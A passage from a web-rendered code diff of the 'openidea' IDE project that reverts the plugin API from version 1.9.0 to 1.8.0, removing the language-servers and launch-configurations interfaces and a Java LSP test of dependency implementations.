return request('java/classFileContents', {'uri': class_uri})
|
||||
|
||||
|
||||
def standard_implementations(class_uri, line, col):
|
||||
found = request('textDocument/implementation', {'textDocument': {'uri': class_uri}, 'position': {'line': line, 'character': col}})
|
||||
return found or []
|
||||
|
||||
|
||||
def implementation_locations(class_uri, line, col, targets):
|
||||
found = command('openidea.java.implementationLocations', class_uri, line, col, targets)
|
||||
return [
|
||||
(pathlib.Path(urllib.parse.unquote(urllib.parse.urlparse(loc['uri']).path)).name, loc['range']['start']['line'])
|
||||
for loc in found['locations'] if loc is not None
|
||||
]
|
||||
|
||||
|
||||
try:
|
||||
init = request('initialize', {'processId': None, 'rootUri': project.as_uri(), 'workspaceFolders': [{'uri': project.as_uri(), 'name': 'zoo'}], 'capabilities': {}, 'initializationOptions': {'bundles': [str(bundle)], 'extendedClientCapabilities': {'classFileContentsSupport': True}, 'settings': {'java': {'import': {'gradle': {'enabled': False}, 'maven': {'enabled': False}}}}}})
|
||||
assert 'openidea.java.implementations' in init['capabilities']['executeCommandProvider']['commands']
|
||||
@@ -258,20 +207,6 @@ try:
|
||||
if actual != expected:
|
||||
failures.append((file, needle, expected, actual))
|
||||
assert not failures, failures
|
||||
|
||||
# An interface in a dependency: the standard request starts at the class file, and the
|
||||
# extension resolves the implementing method's declaration in the dependency.
|
||||
defs = definition('UseExternal.java', 'ExternalRepo repo')
|
||||
class_uri = defs[0]['uri']
|
||||
text = class_contents(class_uri)
|
||||
method_line = next(i for i, line in enumerate(text.splitlines()) if 'find(' in line)
|
||||
method_col = text.splitlines()[method_line].index('find')
|
||||
std = standard_implementations(class_uri, method_line, method_col)
|
||||
targets = [loc['uri'] for loc in std]
|
||||
resolved = implementation_locations(class_uri, method_line, method_col, targets)
|
||||
print('dependency implementation:', resolved)
|
||||
expected = [(pathlib.Path(urllib.parse.unquote(urllib.parse.urlparse(targets[0]).path)).name, 7)]
|
||||
assert resolved == expected, (resolved, expected)
|
||||
print('ok')
|
||||
finally:
|
||||
proc.kill()
|
||||
|
||||
+1
-1
@@ -2,7 +2,7 @@
|
||||
"name": "openidea",
|
||||
"private": true,
|
||||
"description": "An open-source IDE inspired by IntelliJ IDEA",
|
||||
"version": "0.1.46",
|
||||
"version": "0.1.45",
|
||||
"license": "Apache-2.0",
|
||||
"type": "module",
|
||||
"scripts": {
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
package openidea:plugin@1.9.0;
|
||||
package openidea:plugin@1.8.0;
|
||||
|
||||
/// The commit being prepared in the window the current command or event came
|
||||
/// from (the Commit tool window, or the Commit dialog while it is open): the
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
package openidea:plugin@1.9.0;
|
||||
package openidea:plugin@1.8.0;
|
||||
|
||||
/// Plugin-owned project data sources. Requires database.sources and project trust.
|
||||
/// Runs on the Database subsystem's host, including on remote project servers.
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
package openidea:plugin@1.9.0;
|
||||
package openidea:plugin@1.8.0;
|
||||
|
||||
/// Editor and project-tree decorations (API 1.4). Requires project.read. An editor set
|
||||
/// follows its file: the file's own project, or the nearest one when it is outside them all.
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
package openidea:plugin@1.9.0;
|
||||
package openidea:plugin@1.8.0;
|
||||
|
||||
/// What the pane beside the Services tree shows for a plugin's node.
|
||||
interface detail-types {
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
package openidea:plugin@1.9.0;
|
||||
package openidea:plugin@1.8.0;
|
||||
|
||||
/// Optional export (world `plugin-diagnostics`): problems in the current,
|
||||
/// possibly unsaved document, for the languages declared with the
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
package openidea:plugin@1.9.0;
|
||||
package openidea:plugin@1.8.0;
|
||||
|
||||
/// HTTP endpoints found in a project (`[[contributes.endpoints]]`).
|
||||
interface endpoints-provider {
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
package openidea:plugin@1.9.0;
|
||||
package openidea:plugin@1.8.0;
|
||||
|
||||
/// Workbench events, delivered in batches to `event-handler.handle`.
|
||||
interface events {
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
package openidea:plugin@1.9.0;
|
||||
package openidea:plugin@1.8.0;
|
||||
|
||||
interface lifecycle {
|
||||
use types.{context, error};
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
package openidea:plugin@1.9.0;
|
||||
package openidea:plugin@1.8.0;
|
||||
|
||||
/// What other plugins contributed to the extension points this plugin declares
|
||||
/// (`[[extension-points]]` in `plugin.toml`; the contributors list this plugin
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
package openidea:plugin@1.9.0;
|
||||
package openidea:plugin@1.8.0;
|
||||
|
||||
/// Optional export (world `plugin-file-actions`): quick fixes and
|
||||
/// refactorings that create, rename or delete files, next to the text edits
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
package openidea:plugin@1.9.0;
|
||||
package openidea:plugin@1.8.0;
|
||||
|
||||
/// Files outside the open projects: the configuration of the program a
|
||||
/// plugin integrates with, a tool installed elsewhere, a licence file.
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
package openidea:plugin@1.9.0;
|
||||
package openidea:plugin@1.8.0;
|
||||
|
||||
/// Writes to the IDE log, tagged with the plugin id.
|
||||
interface log {
|
||||
@@ -126,33 +126,6 @@ interface command-runner {
|
||||
execute: func(id: string, arg: option<string>) -> result<option<string>, error>;
|
||||
}
|
||||
|
||||
/// Requests to the language servers the IDE runs (API 1.9).
|
||||
interface language-servers {
|
||||
use types.{error};
|
||||
use workspace.{project};
|
||||
|
||||
/// Sends `method` to the server named `server` (the `name` of its
|
||||
/// `[[language-servers]]` entry in the language definition, e.g. `phoxite`)
|
||||
/// running for `project`, and returns the result as JSON. `params` is JSON,
|
||||
/// or none for no params. Requires `lsp:<server>` and a trusted project.
|
||||
///
|
||||
/// Only the server's own methods pass (`phoxite/laravel/routes`): `initialize`,
|
||||
/// `initialized`, `shutdown`, `exit`, anything starting with `$/` and any
|
||||
/// method whose first segment is an LSP namespace (`textDocument`, `workspace`,
|
||||
/// `window`, `notebookDocument`, `callHierarchy`, `typeHierarchy`,
|
||||
/// `completionItem`, `codeAction`, `codeLens`, `documentLink`, `inlayHint`,
|
||||
/// `workspaceSymbol`, `client`, `telemetry`) are `invalid`.
|
||||
///
|
||||
/// `not-found` when no such server is running for the project: the call never
|
||||
/// starts one. The server's own error is `failed` with its message. The call
|
||||
/// ends with the invocation's cancellation and time budget. At most 256 bytes
|
||||
/// of method and 1 MiB of params.
|
||||
request: func(project: borrow<project>, server: string, method: string, params: option<string>) -> result<string, error>;
|
||||
|
||||
/// The same for a notification: no answer is awaited.
|
||||
notify: func(project: borrow<project>, server: string, method: string, params: option<string>) -> result<_, error>;
|
||||
}
|
||||
|
||||
/// Per-plugin named, read-only Output tabs (API 1.4), with a 1 MiB UTF-8 ring buffer.
|
||||
interface output {
|
||||
use types.{error};
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
package openidea:plugin@1.9.0;
|
||||
package openidea:plugin@1.8.0;
|
||||
|
||||
/// Optional export (world `plugin-hover`): Markdown added to the hover of
|
||||
/// documents of the languages declared with the `hover` provider kind,
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
package openidea:plugin@1.9.0;
|
||||
package openidea:plugin@1.8.0;
|
||||
|
||||
/// Cross-file associations a plugin publishes for the files it declares under
|
||||
/// `[[contributes.documentIndexers]]`. The host calls `index` in cancellable
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
package openidea:plugin@1.9.0;
|
||||
package openidea:plugin@1.8.0;
|
||||
|
||||
/// Embedded languages. The host routes plugin providers and configured language
|
||||
/// servers inside these ranges, preserving host-document UTF-16 coordinates.
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
package openidea:plugin@1.9.0;
|
||||
package openidea:plugin@1.8.0;
|
||||
|
||||
/// Optional export (world `plugin-inlay-hints`): inline hints in documents of
|
||||
/// the languages declared with the `inlay-hints` provider kind, including
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
package openidea:plugin@1.9.0;
|
||||
package openidea:plugin@1.8.0;
|
||||
|
||||
/// Problems in files, shown in the editor and the Problems view.
|
||||
interface diagnostics {
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
package openidea:plugin@1.9.0;
|
||||
package openidea:plugin@1.8.0;
|
||||
|
||||
/// Additional language features, called only for declared API 1.4 provider kinds.
|
||||
/// Editor calls have a 50 ms soft / 500 ms hard budget; formatting has 5 seconds.
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
package openidea:plugin@1.9.0;
|
||||
package openidea:plugin@1.8.0;
|
||||
|
||||
/// Discovery of the IDE's built-in MCP server; never exposes its URL or token.
|
||||
interface mcp {
|
||||
|
||||
@@ -8,7 +8,7 @@
|
||||
/// `fs` and `workspace`, and everything else goes through the imports below,
|
||||
/// gated by the capabilities granted in `plugin.toml` (a missing one returns
|
||||
/// `error::denied`).
|
||||
package openidea:plugin@1.9.0;
|
||||
package openidea:plugin@1.8.0;
|
||||
|
||||
world plugin {
|
||||
import log;
|
||||
@@ -31,7 +31,6 @@ world plugin {
|
||||
import output;
|
||||
import auth;
|
||||
import command-runner;
|
||||
import language-servers;
|
||||
import views;
|
||||
import run;
|
||||
import run-targets;
|
||||
@@ -184,10 +183,6 @@ world editor-diagnostics {
|
||||
world plugin-run-configurations { include plugin; export run-configurations; }
|
||||
/// Export-only configurations world, composed with plugin by SDK macros.
|
||||
world configurations-provider { export run-configurations; }
|
||||
/// A plugin that exports configurations with an environment and a debugger (API 1.9).
|
||||
world plugin-launch-configurations { include plugin; export launch-configurations; }
|
||||
/// Export-only launch configurations world, composed with plugin by SDK macros.
|
||||
world launch-configurations-provider { export launch-configurations; }
|
||||
/// A plugin that parses its test output.
|
||||
world plugin-test-results { include plugin; export test-results; }
|
||||
/// Export-only test parser world, composed with plugin by SDK macros.
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
package openidea:plugin@1.9.0;
|
||||
package openidea:plugin@1.8.0;
|
||||
|
||||
/// Editor features a plugin provides for the languages it declares under
|
||||
/// `[[contributes.providers]]` (the host calls only declared kinds). They run
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
package openidea:plugin@1.9.0;
|
||||
package openidea:plugin@1.8.0;
|
||||
|
||||
/// Project-scoped targets owned by the registering plugin (API 1.4).
|
||||
interface run-targets {
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
package openidea:plugin@1.9.0;
|
||||
package openidea:plugin@1.8.0;
|
||||
|
||||
/// Launches this plugin's configurations in the invoking window's Run tool window.
|
||||
interface run {
|
||||
@@ -24,46 +24,6 @@ interface run-configurations {
|
||||
configurations: func(project-root: string) -> list<run-configuration>;
|
||||
}
|
||||
|
||||
/// Optional dynamic configurations with an environment and a debugger (API 1.9).
|
||||
/// When a plugin exports both, the IDE uses this one instead of `run-configurations`.
|
||||
interface launch-configurations {
|
||||
use types.{extension};
|
||||
/// A process the run starts, to attach the debugger to.
|
||||
record attach-child {
|
||||
/// Its debugger, as in Attach to Process: `dotnet`, `node`, `python`, `go` or `native`.
|
||||
kind: string,
|
||||
/// Only a process whose command line contains this text.
|
||||
command-contains: option<string>,
|
||||
}
|
||||
/// How Debug starts the configuration.
|
||||
variant debugger {
|
||||
/// Starts `program` under the debugger of this language id (its `[debugger]`), e.g. `python`.
|
||||
launch(string),
|
||||
/// Runs the configuration as Run does, then attaches to the first matching process the
|
||||
/// run starts (it waits for one up to 60 seconds).
|
||||
attach-child(attach-child),
|
||||
/// Later kinds; this IDE treats the configuration as having no debugger.
|
||||
other(extension),
|
||||
}
|
||||
/// `run-configuration` with an environment and a debugger.
|
||||
record launch-configuration {
|
||||
id: string,
|
||||
name: string,
|
||||
program: string,
|
||||
args: list<string>,
|
||||
cwd: option<string>,
|
||||
test: bool,
|
||||
framework: option<string>,
|
||||
/// Variables added to the run's environment (at most 64). A name the IDE's own
|
||||
/// environment already has, such as `PATH`, is refused like in `process`.
|
||||
env: list<tuple<string, string>>,
|
||||
/// None: Debug infers the debugger from a source file in `args`, as before.
|
||||
debugger: option<debugger>,
|
||||
}
|
||||
/// Returns the complete set for this project root.
|
||||
configurations: func(project-root: string) -> list<launch-configuration>;
|
||||
}
|
||||
|
||||
/// Optional parser for test configurations whose framework is plugin.
|
||||
interface test-results {
|
||||
use types.{location, extension};
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
package openidea:plugin@1.9.0;
|
||||
package openidea:plugin@1.8.0;
|
||||
|
||||
/// Optional export (world `plugin-semantic-tokens`): semantic colouring of
|
||||
/// documents of the languages declared with the `semantic-tokens` provider
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
package openidea:plugin@1.9.0;
|
||||
package openidea:plugin@1.8.0;
|
||||
|
||||
/// Shared types. Positions are 0-based lines and UTF-16 code unit columns,
|
||||
/// as in the editor and LSP.
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
package openidea:plugin@1.9.0;
|
||||
package openidea:plugin@1.8.0;
|
||||
|
||||
/// Declarative views: tool windows declared
|
||||
/// under `[[contributes.views]]` and custom editors under
|
||||
@@ -153,8 +153,7 @@ interface views {
|
||||
/// (API 1.7): a review's file before and after, say. `file-name` (a name or
|
||||
/// relative path, at most 256 characters) picks the syntax highlighting and
|
||||
/// names the tab when `diff.title` is absent. Only from a command or event
|
||||
/// of a window. Each side at most 8 MiB (earlier hosts: 1 MiB); a larger
|
||||
/// side fails with `invalid("diff too large: …")`.
|
||||
/// of a window; each side at most 1 MiB.
|
||||
open-diff: func(diff: content-diff, file-name: option<string>) -> result<_, error>;
|
||||
|
||||
/// The view (or every custom editor of that id) shows outdated content:
|
||||
|
||||
Loaded 100 of 315 files, more files were not shown because too many files have changed in this diff.
Show more
Reference in new issue
Заблокувати користувача